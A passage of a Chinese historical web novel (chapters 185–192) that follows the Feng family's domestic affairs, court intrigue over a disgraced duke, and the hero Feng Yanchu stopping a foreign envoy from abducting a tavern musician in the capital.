封砚初听后,并未犹豫点头应了,“那我一会给二妹妹说说,让她稍微收拾一番,好随我一起走,我那里一应东西都是全的。”
王锦娘见儿子同意,便放心下来,毕竟二姑娘算是她看着长大的,实在不忍对方因四郎连累,整日恹恹的。
随后又像是和儿子商量一般,继续说道:“我还想着哪一日和大娘子说说,让方姨娘回娘家住两日,也让她家里人劝一劝,虽然四郎不懂事,可方姨娘为人还不错,平日里但凡我去请教针线,从未推脱过。”
封砚初知道姨娘心软,何况又不是什么大事,在他印象中方姨娘还是很识大体的,浅笑着,“姨娘做决定就好。”
“嗯,我回头先给大娘子提一提。”王锦娘这才长松一口气,她就是担心引起儿子不喜,紧接着又朝外头喊道:“珠儿,你去二姑娘那里说一声,让她收拾收拾东西,这几日先去她二哥那里散散心,就说是二郎说的。”
“是,姨娘。”
等珠儿去了二姑娘住处之时,果然看到对方支着胳膊正在愣神,见到有人进来这才回过神,“珠儿,你怎么来了?可是王姨娘有什么吩咐?”
珠儿将话原封不动的说了,可封砚婉摇头并不打算去,“我姨娘还在家呢,我这个做女儿的怎能抛下她,自己躲出去。”
珠儿见状劝道:“二姑娘也不必担心,我家姨娘说,到时候她向大娘子提一提,让方姨娘先回娘家住几日,全当散心。”
封砚婉听了这话,才点头道:“如此也好,去的时候带些东西,有人劝着些,姨娘会想开的。”
其实她心里清楚,姨娘回娘家必定会带厚礼,他们看在东西的份上,也不会允许姨娘继续伤感下去,反而会好好劝一劝。
第一百八十六章 你这是要吓死我吗
说罢,便与丫鬟珊瑚开始收拾起东西来。
“姑娘,这几日,天愈的发冷了。还是要带上几件大毛的衣裳才好,哦,还有姑娘素日用的手炉,油衣也得带上一件……”珊瑚往外搬东西的同时,嘴里还不停地念叨着。
(油衣:古代的“雨衣”,用绢帛做内里,外表刷上桐油,致密防水,可御风雪,是官员和富贵人家出门必备之物)
封砚婉一边听珊瑚絮絮叨叨的说着话,一边收拾着东西,仿佛心情都好了一些似的。
此次回来,封砚初并不打算多待,不过巳时中就要回去。恰巧二妹妹的行囊也收拾完毕,便坐了府里的马车,而自己骑来的马则由暮山牵回广林巷。(巳时:9:00-11:00;巳时中:10:00)
“妹妹打扰二哥了。”封砚婉到跟前行了一礼,带着歉疚说道。
“二妹这是哪里话,自家兄妹怎的生分了。”
封砚初话音刚落,一旁前来送行的三妹封砚潼故作羡慕地说:“我还想去呢,可惜我母亲不允。”
长姐封砚敏心情早已好多了,她将一个包裹递给珊瑚,“母亲知道你要去广林巷暂住,特意让我给你带了件御寒的斗篷,去了那边也好,正好散散心。”
其实,她心里清楚。这些时日,下人们之所以说三道四的,是母亲故意放纵所致,毕竟因着四郎的事,母亲生了好大的气,如今这斗篷算是表现出软化的态度。
此刻,封砚婉的鼻子有些发酸,自从四哥那件事之后。她总觉得和姊妹们疏远了,现下见两人如此关心,笑意终于浮上脸颊,“替我多谢母亲,也谢谢姐姐和三妹前来相送。”
拜别众人之后,这才上了马车。
谁知行至半路,却突然停了下来。
封砚初撩开帘子,伸头问道:“怎么回事?”
过了一小会儿,暮山这才小跑上前,将一个密封好的信递了过去,低声道:“郎君,这是肃王世子殿下的人拿来的,让小的交给您。”
封砚初接过信一瞧,外头既没有著名,也没有任何笔墨标注,沈在云这是什么意思?虽心有疑惑,但还是将信收了起来。
回到‘枕松闲居’后,李妈妈见二姑娘来了,连忙与雪香一起将屋子收拾出来,又让儿子郑伟帮忙搬东西。
封砚初并未急着拆信,而是去了三郎的住处,他习过武,脚步极轻,就这么悄悄出现在对方身后。
只见三郎正抓耳挠腮,坐的也不端正,身子扭来扭去,仿佛那凳子上真有钉子一般。
“你如此模样,当真能看的进去?”这突如其来的声音,吓得对方直接从座位上掉了下去。
三郎摸着胸口,回头看去,眼神里还带着惊惧之色,声音不由得高了几分,“二哥!你这是要吓死我吗?”
封砚初并未搭理,只冷哼一声,“你若真投入进去,也不会这般慌张,可见你虽然坐在此处,心思早就不知飞到哪里去了?既如此何必在这里浪费光阴。”
三郎见被猜中了,眼神看似坚定,实则瞳孔微微振动,明显心虚不已,嘴上还狡辩着,“二哥,你冤枉我了,我一直在这里认真读书来着,况且你急匆匆的回去,也不曾告诉我一声。”
“怎么?竟怨怪起我来了?”他何尝不知对方这是顾左右而言他。
三郎嘿嘿笑着,摆手道:“不敢,不敢,就是担心你匆忙骑马回去,路上再着了风。”
他懒得看对方那副谄媚的嘴脸,余光扫向桌案,竟然读的是《六韬》,随口道:“那我便考考你,也不问别的,只看你是否真的熟读了。‘鸷鸟将击,卑飞敛翼’,接下来是什么?”
三郎面上表现出一副皱眉深思的模样,看似十分认真,可嘴上迟迟未答。
见状,他气的轻踹一脚,“‘猛兽将博,弭耳俯伏;圣人将动,必有愚色!’讲的便是能够积蓄力量,瞅准要害,出其不意的攻打对方,从而一举成功。这很难吗?这么简单,你竟然没记下,将来更别说活学活用了!”
“二哥,我错了!我一定好好背!”三郎见二哥的巴掌即将落在他身上之时,连忙认错。
封砚初原本还气着,但是被对方这么死乞白赖的一闹,竟觉得好笑起来。但还是眸中一凛,严肃道:“三日内,将它熟读,然后到我跟前来背!”
“二哥!”三郎只觉头大,想要说些什么却又不敢。
他嘴角微微上扬,带着威胁的语气反问,“况且你已经看了两日了,近两万字而已,想来对你应该不难吧?”
三郎终究点头应了,“我知道了,二哥。”可接下来的话,让他心底生出,二哥竟如此恐怖的想法。
封砚初满意的点点头,临走扔下了一句,“若是天晴了,不得耽搁练武。”
“二哥,你也太狠了吧!”
空气中,远远传来一个声音,“狠?明年春季就是武试科考,我还觉得时间太少。”
“啊——”
三郎觉得压力巨大,又不敢与二哥讲条件,何况即使讲了,没准对方不仅不答应,还会迎来一顿斥责。
正在屋子里收拾东西的封砚婉,被这突如其来的声音吓了一跳,忙问道:“这是怎么了?”抬眼却见李妈妈和雪香两人依旧无比淡定的收拾着东西。
“哦,应当是二郎加重了课业,三郎君正在嚎呢。”李妈妈头也不抬的说,显然已经见怪不怪了。
雪香也点头安抚道:“二姑娘别在意,三郎君就这样,隔三差五的就得来这么一嗓子,我们都习惯了。”
珊瑚默默后退至自家姑娘身边,低声问道:“姑娘,二郎君不会也这么对您吧?”
“就是那样又如何?我就不信我比三哥还差?起码他读书就不如我。”封砚婉一边说着,一边点头为自己打气。
这话被雪香听见了,笑道:“二姑娘别担心,也是因为明年陛下要举办武试科考,所以郎君才对三郎君严了些。”
主仆二人明显松了一口气,“这样啊。”
第一百八十七章 原来如此,原来如此啊!
话说封砚初回到房间,就打开了沈在云给的那封信。
可在看完里头的内容后,纸张顺着指尖滑落,他微微向后靠了靠,竟扯起嘴角发出低沉的笑声,“原来如此,原来如此啊!”
可笑他自信以为信国公卧病在床,颓势已显,陛下与三司拿下他们也不过是时间的问题,这便给了对方一个机会。
信国公自知死罪难逃,他的说辞太过牵强,不仅没人会信,说不准还要带累全家共赴黄泉。但这老狐狸早有准备,明白大晟的国库并不富裕,陛下想着此番既除了积弊,还能给国库增收,一举两得。奈何时间紧迫,各藩属国进京在即,不好让他们看到大晟的另一面,这才想着先将重要位置收拾干净,之后再说。
更何况,这次动静太大,一旦下手太重,但凡有一点瓜葛的官员不在少数,万一引起动荡,朝局不稳,更会引起外人觊觎,只能暂时按住,而信国公便是抓住了这个机会。
贪婪是人的本性,徐家并不缺钱,更别说他们自乾朝就是商户,且经营有道。乾朝他们还是商户之时,就想要彻底改变门楣,徐家这才与太祖皇帝结了亲,所有人都没想到太宗皇帝竟是个打仗的好手,建立了大晟朝,徐家一跃成为新贵。
可他们并不满足于此,他们想进一步成为世家,成为那些让皇帝都没办法的世家。
而申家在大晟立朝之初,就牵扯进晋王谋逆一案,当时牵连甚广,可世家到底是世家,这些年过去了,申家又回来了,甚至当朝首辅就姓申。
太宗皇帝对世家极力打压,可这些年过去,渐渐又有苗头,徐家当然眼热。
只是如今他们败了,信国公用一大笔钱换了家人的性命。陛下整顿军中糜烂,亦有心与西戎一战,只是兵马未动粮草先行,打仗,永远打的都是钱粮。
“这便是京西武备营去了青州,而玄麟卫留在京城的原因吗?所以,做没做不要紧,要紧的是有没有足够的条件去谈,我还是想的太简单,和上头那些人相比还真是单纯。”封砚初重新捡起那张纸,将其伸向烛火,火光映着他的脸忽明忽暗。
“陛下当真就甘心吗?也不知这流放之路上,徐家是否能抵达终点。”话音刚落,信上的字随着火蛇渐渐被吞噬。
他眼睛微眯,注视着变成灰烬的信,手指轻轻敲击着桌面,陷入沉思:沈在云这是何意?这件事属于隐秘,知道此事的人必定极少,但他为何要告知自己?
他依旧想不通,不知过了多久,当李妈妈进来,一声“哎哟”打破了寂静。
他这才反应过来,问道:“妈妈,怎么了?”
李妈妈叹道:“这郑伟也真是的,这火炉都快灭了也不知进来添些炭!”随即又是一声,“这茶都凉了,怎么还摆在这里?看我不骂他们。”
封砚初这才感觉到空气中的冷意,“妈妈,是我不好,方才吩咐他们先别进来的,妈妈要骂就骂我好了。”
李妈妈见状斜了一眼对方,抱怨中带着关心道:“二郎,现下不比夏天,喝些冷茶没什么。现如今是寒冬,他们不敢打扰你,只能让我厚着脸皮进来瞧一瞧,别看你现在觉着不当一回事,那是年轻,等到了我这岁数,便知后悔,每到阴雨天气……”
他听着这唠叨声,方才心中那点不痛快烟消云散,才等郑伟添了火,雪香上了热茶,还没饮两口,竟到了吃午饭的时间。
饭桌之上。
他想着二妹既然来到这里,一直闲着无事可做也不好,心里便有了打算。
封砚婉被二哥这么一盯,有些不自在道:“二哥,可是我哪里有些不对?”
“你一直以来最喜骑马射箭,只是之前在家里一来有那么多人盯着不方便,二来父亲对此也不重视。既然来到我这里,那从今以后,便和三郎一起习武吧!”封砚初三言两语就定下来了。
果然,封砚婉听后兴奋道:“当真吗?二哥?”
“自然是真的。”
“什么?我不!我都学了好几个月了,她还没学过呢。”三郎有些不情愿。
封砚婉立即反驳回怼,“三哥,你才学了几个月而已,未免也太看得起自己了,没准我以后还比你强些呢。”
“好了,以后一起练。三郎,到时候你别真的被二妹比下去。”封砚初眼睛微垂,认真吃着饭,并未看对方。其实他也想给三郎找个可以相比较之人,免得对方总是自信满满的以为,自己练的很好。
事后,就连封砚初也不得不承认,二妹确实很有天赋,不过一个月时间就练的有模有样,这让三郎心生危机,比以前更加刻苦,进步自然也是有目共睹。
话说次日清晨,封砚婉还未起身,便听见院子里传来一阵“嗡嗡”的剑鸣之声。穿衣起来,出门一瞧,原来是二哥在练剑。
而三郎此刻才姗姗来迟,他看着对方那吃惊的表情道:“快收一收你那下巴,二哥每日都要早起练武,要么练剑,要么练枪,你慢慢就习惯了。”
封砚婉见状说道:“二哥武功已经这般厉害,还如此刻苦,你怎的不早起一起练习。”
三郎拽了拽披在肩上的斗篷,假咳两声,“二哥说看我习武太差,担心一起练习时,会忍不住踹我两脚。而且二哥要去翰林院点卯,自然要早起。”
“三哥,让我怎么说你呢,正因如此才要一起练习,有二哥作为榜样,这样进步才会更快,大不了多挨几下。”封砚婉说完这话,头也不回的走了。
让三郎没想到的是,就连一旁的双寿,也暗戳戳地说:“郎君,小的觉得二姑娘说的对,有二郎君做榜样,你进步也能快些,而且还能少挨些骂,小的正好跟着沾沾光。”
三郎气的踢了对方两脚,冷哼一声,扭头回去了。
第一百八十八章 好日子过够了
武安侯府。
方姨娘已经将回去要带的东西已经准备好了。
作为妾室,想要回家一趟是很不容易的。就比如张姨娘已经两年多没回去了,所以她对方姨娘不仅能回去一趟,还可以多住几日,十分羡慕。
奈何就是妾室也是有区别的。就比如刘姨娘乃是被人卖进来的婢妾,即使生了大郎君,消了奴籍,轻易也回不去,因为当初是人牙子卖进来的,娘家实在太远了!
即使她娘家人千里迢迢来到京城,最多也只能从角门进来说上几句话罢了,更何况还要顾及大郎封砚开的脸面,而他也会托人送些钱财给姨娘的家人,毕竟上门不好看。
几个妾室里就王锦娘是贵妾,父亲生前是秀才,二郎又那般有出息,所以相对自由一些。只要是正当理由,大娘子基本不会拒绝,奈何娘家已没人,想回也回不去。唯一能做的也只有每年清明寒食一祭,有时候王锦娘自己带着下人去,有时候是二郎陪着她一起。
张姨娘与方姨娘两人是良妾,且有生育,只是子女中并没有出色之人。那也比刘姨娘倒好些,只是也不能时常回去。
此刻,张姨娘特意来瞧方姨娘,“要我说,大娘子都同意了,你这次回去全当散心。等你回来正好教我做衣裳,三郎近几个月在习武,有些费衣裳,现在二姑娘也在那里,你多做几件,到时候让人给他们送去。”对于王锦娘没有来送,两人十分理解,免得对方多思多想。
方姨娘家里并不住在京城,也没那个钱住,方家都住在京郊的村子里。
当一辆气派的马车驶入村子之时,几乎所有人都冒着严寒来瞧热闹。有人议论着,有人一直眼巴巴瞧着,甚至有人跟着马车屁股后面,都到了方家门前。
“这马车看起来真气派,就是城里那些当官的才能坐的起,咱们村赵地主家也没有这么好的车。”
“可是说呢,不过这是谁啊?”
“还能是谁?方老头他女儿呗,在城里给一个侯府里的官老爷做姨娘呢。”
“自从他家女儿被侯府纳了做妾,这方家可算是起来了,出来说话都比别人声音高些,就连赵地主都要高看两眼。”
当马车还在村口之时,就有人告知了方家。而方家早在侯府来人通知后,便全家一起打扫,还特意给方姨娘单独留了一间屋子,烧的暖烘烘的。
方姨娘的母亲,刘老太太见女儿回来,乐的都能看见嘴里稀疏的牙。
方大郎十分热忱的将侯府一众下人往里迎,“大冷的天,大家快进屋坐,喝口热茶暖一暖。”
只是侯府这些跟车的人,将方姨娘的行李搬进屋子之后,并没有多待,连口水都没喝都走了,只留下一个婆子和两个小丫鬟。
方家弟妹看见大姑姐带来礼物,笑得牙不见眼,只可惜还未一饱眼福,就被刘老太太全收进柜子里锁起来了,只有几个小孩子分得几块饴糖。
与刘老太太见到女儿的高兴不同,方老爷子一进屋子就简明扼要地问道:“这数九寒天的,你怎么这个时候回来?莫不是惹得当家大娘子不快?”
刘老太太直接撅了回去,“胡说什么?女儿能回来,就证明在侯府过的好着呢。”
方姨娘这才将四郎的事情说了,到最后已经泣不成声,“我是没这个脸了,别人都好好的,偏他做出这种事情来,我现在在侯府连头都抬不起。”
还未等方老爷子说话,刘老太太气的一巴掌拍在女儿的背上,骂道:“我看你就是好日子过够了!四郎再不争气,那也是侯府的郎君,将来少不了他一口吃喝,更何况你还有一个姑娘呢,难道就不顾及她?”
说到此处,用指头点着女儿的脑门有些恨铁不成钢,“要我说,四郎这个别扭性子简直和你一模一样。越是这个时候,你越要勤谨恭敬一些,多多在大娘子身边伺候着,赔些不是,将来也好让大娘子为二姑娘相一门好亲,免得因为四郎再带累了她!可你呢?竟还有心思想东想西的,要是以前,看我不用鞋底抽你!”
方老爷子听了半天,只说了一句,“既然已经回来了,待几日就回去吧!”说罢出了屋子。
也许方姨娘就欠这一顿骂,此刻她才醒过神来。四郎毕竟是侯府血脉,将来再不行一副家产打发,也不愁吃喝。可她不止一个儿子,还有女儿,娘说的对,还要为女儿多多打算。
“那我回去做些抹额,帕子,荷包,绣鞋给大娘子。”方姨娘心情好了许多,甚至已经开始在脑海中构思样式。
刘老太太听后满意的点点头,“这才像样,你就是喜欢钻牛角尖,你这些日子心里不痛快,难道二姑娘心里就好受了?你是做娘的人了,难道还要孩子为你操心?”
方姨娘听母亲这么说先是有些愧疚,随后赶紧道:“是姨娘,千万别说错了,小心让那个婆子听见,她最会搬弄口舌是非。”
刘老太太见状也清楚女儿虽过得富贵,但在侯府也要处处小心,不过对于他们这些庄户人家,那些吃不上饭的人来说这就是顶顶好的日子。
她摆手道:“我一个乡下老太太,而且是在屋子里说的,不妨事,正好你在家里,每日不用早起,也松快两天。”
第一百八十九章 使团进京了
时间流转,转眼间,前往青州办差的京西武备营的人都回京了。而这次他们回来,不仅带着抄家得来的一些钱财,还顺带将犯人押解进京。
因陈泽文已经回来,这日,封砚初便在一家名叫月上客的酒肆里,设了桌席面请他和沈在云两人。
“哎呀,真不容易,我可算是吃着你的东西了。”陈泽文人还未进来,就已听见他调侃的声音。
等进门之后,封砚初一边让座,一边笑骂道:“竟胡说,我何时未请你?上次不是……”说到这里,他突然停顿下来。
陈泽文哈哈笑着提醒,“是吧,上次在半日闲,说好了你请客的。可因着那些人惹你生气,最后还是我们的世子殿下付的钱。”
“这次可不就补上了嘛。”封砚初亦笑着回应。
几人临窗而坐,正好可以看见外头的往来的百姓,和那热闹的街道。
沈在云最先坐下尝了一口菜,随后点头道:“这菜色不比那恒文酒肆差,怎么以前那么多人总喜欢往那儿去。”
陈泽文细听了一会儿楼下弹琵琶的歌女随着调子吟唱的声音。一边打着拍子,一边说道:“虽说这琵琶弹的略有逊色,可这歌喉实在曼妙,两相比较之下,此处与那恒文酒肆也不差。”
和在京城之时相比,陈泽文这一趟青州之行更显成熟,封砚初见状挑眉问道:“瞧你这样子,这青州之行收获颇丰啊。”
对方听见这话,立即放下筷子,兴致勃勃道:“可说呢,虽然这冬季略显萧瑟。但这青州不仅文风盛行,而且还有很多商户,再加上青州还是皇室的故乡呢,那里如今一点都不比京城差,我也算是开了眼界。况且青州临海,先下新开了码头,往来的船只和商人更多,依水而生之人也不少,百姓们生活也有奔头,不像别的地方,一到冬季连个挣钱的营生也没有,只能生抗。”
沈在云见状诧异的看向对方,先是‘啧’了一声,然后说道:“这竟是你说出来的话?当真稀奇。”
陈泽文听后白了对方一眼,并未计较,而是继续说着,这次青州之行的所见所闻。
封砚初也听得很认真,这是另一个角度的青州,与三郎眼中的大相径庭。虽说陈泽文见到的与三郎也有相通之处,但更多是因两人的角色不同,所见所闻不相同之处更多。
正说到精彩之处,忽闻窗外传来一阵嘈杂之声,几人都伸头去看,只见百姓都让位于街道两旁,将中间的路留了出来,靠前的位置还有鸿胪寺的人正在维持秩序。
封砚初从未真正的见过西戎人,这算是第一次目睹其容,“看那打扮,是西戎使团进京了!”
沈在云也说道:“这几日,还有其他藩属国陆陆续续进京,所以前段时间,鸿胪寺忙的头脚倒悬。”
“看,安怀部也进京了,就跟在西戎身后,生怕别人不知道他们勾结似的。”陈泽文指着更远一些的地方,语气中带着愤慨之色。
“来者不善呐。”封砚初亦是吐槽中带着担忧。
几人回了座位之后,沈在云重新添上热酒,饮了几口,驱了驱方才吸入腹中的寒气,这才开口道:“今年除夕,陛下准备大办,以此招待各国使臣,凡三品往上的官员,以及皇室勋贵都要参加。”
封砚初拧眉问道:“我父亲也要去?”
陈泽文放下酒杯,跟声道:“不光是你父亲要去,而且是你们父子三人都要去!包括你!”
“我大哥去我能理解,毕竟他是武安侯府的世子,可我只行二,品级也不够。”不怪封砚初疑惑,在他印象中,往年这种重大场合,只有祖父在世的时候,独自参加过两次。自从祖父去世,陛下也只挑一些重要人物出场罢了,就连他父亲都没参加过。
“今时不同往日,陛下有心一展我大晟国威,所以三品以上官员和勋贵中,但凡有官职的子弟也得到场,你可不是要去?”陈泽文也是昨日从他母亲那里听来的,本就想着今日与二郎见面时告诉对方,没成想沈在云先说了。
封砚初看向窗外,方才还不见踪迹的巡城卫和六扇门之人,已经开始巡逻街道,以防生乱。
酒酣之后,三人就散了。
他并未返回广林巷,而是回了侯府。
封简宁对儿子回来很奇怪,问道:“你不是约了朋友,要宴请他们吗?怎么回来了?”
“父亲,西戎使团已经进京了。我刚得知,今年除夕,陛下要大办,招待各国使臣。京中三品以上的官员,以及皇室勋贵都要参加,而且这里头家中有官职的也要去。”封砚初回来就是为了将这件事告知父亲。
“这也正常,往年这些使臣一般会在春夏之际进京。今年选在这个时候,陛下自然会在除夕之时招待,正好显示我大晟国泰民安,陛下威仪,四海臣服之盛景。”如今的封简宁已经不是那个吏部郎中,而是升任吏部左侍郎。
封砚初很清楚这些藩属国的德行,心里明白除夕大办的重要性,这才回来提醒,“那些藩属国从来都是畏威不畏德,最慕强,一旦大晟流露出一点疲态,这些人就会借机生事。”
封简宁点头叮嘱道:“这段时间还是要稳着一些,不能让人趁机钻了空子。”
争斗无处不在,即使在如此重要的时候,依旧会有一些人,利用这个机会斗倒对方。他们才不会在乎什么体面,更不会觉得此刻需得有一致对外的心思,他们只会想着自己能得到怎样的好处。
第一百九十章 敢在暗处伤人
自从各国使臣进京之后,京城就屡屡发生滋扰民众之事。
这日,天气依旧寒冷,幸而冬雪化尽。封砚初下职回‘枕松闲居’的路上,在经过宝庆街之时,难得想下来走一走,顺路买几本书回去,可就是这么巧,竟然让他撞了个正着。
宝庆街位于城西,此处乃是官宦贵人常来常往之地。也正因此,所以一些酒肆常为了揽客,常常会聘请一些乐手或者歌舞姬。这些人要么来自各舞坊、乐坊;要么是会些技艺的贫穷人家子女。
毕竟多有权贵,难免有一些欺男霸女的行径,可也是暗中悄悄进行,唯恐使人知道,被御史弹劾。可现在就有些人不顾脸面,明着抢了。
月上客。
两个明显是外邦打扮的人进了门。本着来者都是客的原则,店家热情相迎,正预备将人引上二楼雅间,谁知这两外邦之人也不懂这些,其中一人指着正在弹唱的姑娘,叽里咕噜的说了一通,店家如何听得懂?
幸好同行之人勉强会说些官话。虽语调怪异,但终究让店家明白对方想表达的意思。原来是想找了个距离最近的位置坐下,好仔细聆听台上的姑娘弹唱。
这俩人刚落座就点了些菜酒,边吃边饮。一开始倒也和谐,只是会不合时宜的欢呼,说的还是那听不懂的番邦之语,让其余食客觉得嘈杂。有人理论几句,可这两人均不理会,众人没奈何,只能任由如此,渐渐有很多人不堪其扰离开了。
店家见状十分痛心,可这两人明显是进京的番邦使臣,又没什么错处,不好因其太吵就将人驱赶,只能生忍。
可渐渐地竟变了,为首一人不知叽里咕噜说了些什么,另一人就将店家叫来,同时掏出一些银钱。
店家瞧这些银钱里头是银币与其他杂银混着,以为对方是想付钱走人,只拿够酒菜所费的银币,说道:“这些就够了。”说话之时脸上还挂着笑,但心里却想着,这两位可算是要走了。
没成想,那个为首之人几步跨上台子,竟将还在弹唱的姑娘一把拽下来,拉着人就要离开。那姑娘抱在怀里的琵琶摔在地上,吓得惊叫不已,且不停地挣脱,可她哪里是这壮汉的对手。
店家见这人不讲道理就要抢人,连忙上前阻拦,“两位大人,万万不可啊!她可是良籍,只是家贫与小店签了契,这才在此弹唱,挣几两银钱维持生计!”
这副样子落在两人眼中就变成了不知好歹。其中一人将人猛地推倒在地,先是指了指姑娘,又指着几枚银币道:“钱,我们给了,人要带走!”
旁边正在吃饭的食客早就忍不住了,指着两人破口大骂,“番邦蛮夷,此乃大晟京城,竟然敢强抢良家女子,大晟乃是礼仪之邦,还真以为在你们那蛮荒之地,可以随意抢掠!”
也有人觉得是这些人不懂规矩,上前劝说:“二位,你们那几枚银钱不过是饭钱罢了。再说这女子只是在谋生,与这店家并无干系,而且大晟禁止买卖良籍,这女子你们不能带走!”
那个懂些大晟官话的,先是与那为首之人叽里咕噜说了一通后,然后指着那姑娘说道:“能服侍我家大人是她的荣幸,大晟的规矩,一手钱,一手货,而且我们可以加钱给她的家人,她占便宜!”
有人气的骂道:“畜牲不如的东西,什么荣幸,拿着你那几两银币快滚!”
谁知那为首之人哈哈笑道:“既然不要钱,那更好!”
有人震惊不已,“这人懂官话,他是故意的,快拦住他!”
其余人也说道:“敢在大晟如此放肆,一定不能放过此人!”说着大家纷纷上前阻拦。
只是他们连那个下属的身边都靠近不了,还全都被打倒在地,眼见着那两人扯着姑娘就要扬长而去。
已经到了这个时候,依旧不见巡城卫的人出现。能来月上客吃饭的都是非富即贵之人,而且有人已经明白其中关窍,心中不禁生出悲凉之意,亦有人破口大骂。
封砚初买完书刚出来,见此一幕。周围虽有人咒骂议论,可竟无一人敢上前阻拦,而巡城卫的人迟迟未到。若当真就让这两人离去,岂不是将大晟的脸面丢在地上任其践踏。
他看向一旁愤愤不平的中年男人,指着对方手里的炒黄豆,问道:“劳驾,可以给我两枚吗?”
那中年男人看眼前之人的穿着,实在不像是连黄豆都吃不起。不过还是带着疑惑,将手里的黄豆尽数全给了,“都给你,拿去吧。”
“多谢,两个就够了。”封砚初并未多要,只从对方手里拿了两枚。
随后眼睛盯着那强行搂抱女子之人的胳膊,缓步上前,先捻起其中一枚,黄豆瞬间从指尖弹出,只听‘嗖’的一声,那是划破空气的声音,转眼,黄豆便已嵌入皮肉之中。
那人吃痛,“啊——”的叫出声来。刚松手,还没来得及捂住受伤的胳膊。
封砚初又一枚黄豆射中了旁边之人的小腿,两重惨叫同时响起。
为首之人没想到竟有高手敢在暗中出手伤人,顿时心生警惕,用纯正的官话吼道:“是谁!敢在暗处伤人,还不赶紧滚出来!”
围观的百姓虽然不知是谁所为,但见此一幕纷纷叫好。就在封砚初正欲上前之际,没想到鸿胪寺的人到了。
来的是鸿胪寺卿朱大人,对方脸色难看的吓人,走到两人跟前,还未等对方叫嚣,便斥责道:“你们来我大晟做客,就要有客人的样子,这里可不是你们那番邦蛮夷之地,忍尔胡为。此事我必定要上奏,让陛下处置你们!”
又对身后之人挥手,“带走!”
第一百九十一章 一切与咱们无关
随后,鸿胪寺的朱大人环视周围,直到目光落在封砚初身上之时,心里的疑惑似乎解开了。他早就听闻对方会武功,方才也顺势扫了两眼那两人的伤势,若真是其所为,那这身功夫可不弱。
紧接着便是怒上心头,因为五皇子和九皇子两派相争,导致六扇门和巡城卫相互掣肘,却让鸿胪寺跟着倒霉。
当他得知有使者在宝庆街闹事之时,紧赶慢赶的跑来处理。幸亏有人制止,否则任由事态发展,那大晟的脸可真是丢在大街上了。
对有些人来说,鸿胪寺是专门处理各藩属国之事,这些使臣进京自然也归他们管。一旦真的一发不可收拾,无论是何原因,他这个鸿胪寺卿都做到头了。
就在朱大人要带人返回之际,巡城卫的人来了。
为首的王指挥看见朱大人之时,立即上来拱手道:“见过朱大人,下官听闻此地有人闹事,便迅速往来赶。奈何距离有些远,这才迟了,还请朱大人见谅。”这话看似说的十分诚恳,实则全是在推卸责任。
要不是此处人多,朱大人都要上手暴打眼前之人了。他是忍了又忍,额头上都冒起青筋,几乎是咬着牙说话,“哼,那你们巡城卫还真及时,本官刚处理好,这才姗姗来迟,当真是尽职尽责。”
王指挥自然听出对方的讽刺之言,却当做听不懂的样子,“守卫城中百姓安全,本就是我等的职责,只是距离实在太远,幸好朱大人及时赶到,下官拜谢。”
“哼!”周遭都是人,不想让百姓看笑话,朱大人只能气的甩袖离开。
王指挥见状竟还远远的行礼,一副恭敬无比的做派“下官恭送朱大人。”
百姓见此一幕,当真以为两人之间一片和睦。
直到返回的路上,手下之人担心道:“大人,咱们这样真的好吗?万一被鸿胪寺的人或者被哪个御史不开眼参奏一本,也够咱们喝上一壶的。”
王指挥斜眼看了看手下,语气中满是不在乎,冷哼道:“怕什么?咱们上头是指挥使常大人,常大人身后那是五殿下,再说咱们又不是没出现?只是距离太远来迟罢了。咱们为什么来迟?那还不是怪六扇门负责街巷的捕快通知的太晚,一切与咱们无关,知道了吗?”
手下的人立即点头应道:“大人说的是,谁让六扇门这帮人太嚣张了。”
一群人哈哈笑着渐行渐远,可他们不知道的是,在暗处,一个人在密录本上写着什么,将方才的一幕全都记录进去了。
没一会儿,这个密录本就出现在景和帝的桌案之上。
勤政殿。
景和帝看完里头的内容随手将其扔在桌上,脸上平静的看不出喜怒,“这些天,这是第几起?”
玄麟卫副指挥使娄遥沉声道:“回陛下,是第十三起。”
如今朝堂才处理了一批人,这里头有九皇子的人,也有五皇子的人;双方为了争夺空余职位斗得你死我活,这也是他没有继续深入处置的原因之一,就是担心朝堂局势一下子失衡,引起比之更严重的动荡。
“短短六日,却已经有十三起了。”景和帝略作停顿,继续道:“去将五皇子叫来。”
“是,陛下。”江荣海躬身退了出去。
即使他身为皇帝,有时候也不得不做出妥协,禁军虽一直掌控在自己手里。可自从大皇子禁足,邢勉受伤回京,孙知微被派往北边镇守,他就不得不将吉隆从六扇门调至京西武备营。
对方也确实没让他失望,将听话的人派去了青州执行任务,而那些不服管教的,在其他人回京之前已经全部清理出去了。如此,京西武备营彻底掌控在手中。
可六扇门却有一半的权柄被九皇子一派趁机所夺,双方为了彻底将对方压死,愈发不管不顾起来。
过了好一会儿,景和帝似乎才发觉娄遥并未离去,缓缓摆手道:“你也退下吧。”
“是,陛下。”
此刻,勤政殿内,只留下景和帝一人,他对着空荡荡的地方,自言自语道:“时机已至,邢勉回京也有好几个月了。”
“陛下,五殿下在外求见。”原来不知什么时候,江荣海已经传旨回来了。
“让他进来吧。”
随着这个声音的响起,五皇子镇定地走进来。
在来的路上,他前后思索了一遍,心中早已打好了腹稿,找好了借口,自信可以完美通过。
“儿子给父皇请安。”
景和帝并未叫起,反而问起来,“你可知最近是什么日子?”
五皇子拱着手,脑海中迅速思索着,父皇的寿辰已过,老六的生辰倒是没几天了,只是人不在京城,他也鞭长莫及。
于是怀着忐忑的心情道:“过几日便是六弟的生辰,儿子早已经准备好了礼物,但他不在京城,所以到时候只能送到他府里。”
景和帝的声音依旧平静无波,只是神情稍暖,“难为你还记得老六的生辰,除此以外呢?”
此时此刻,五皇子还是未被叫起,但他的心绪早已不复刚来之时的镇定,嘴巴始终说不出,那个他下意识想逃避的答案,“还是……”
“还是各藩属国在京的日子。”景和帝无视了对方的吞吞吐吐,直接说出了答案。
“儿子……”五皇子正欲说出自己早已打好的腹稿,却直接被景和帝的一句话打了回去。他忘记了,眼前之人即是父亲,更是一国之君,一言九鼎不容辩驳。
“使臣频频生事,鸿胪寺有不可推卸之责,但巡城卫亦有失职,从今以后便由邢勉担任指挥使,负责城中治安,你退下吧。”
“臣遵旨。”
五皇子不知自己是如何出的勤政殿。但他知道,陛下轻飘飘一句话,就直接将常大人罢免了。
此刻,他回头看向身后的宫殿,心中对那个位子的渴求达到了极致。
第一百九十二章 陛下岂能容忍
邢勉接到旨意后,顺利接管了巡城卫。底下所有人都没想到常大人就这么被罢免了,五皇子终究没保住。
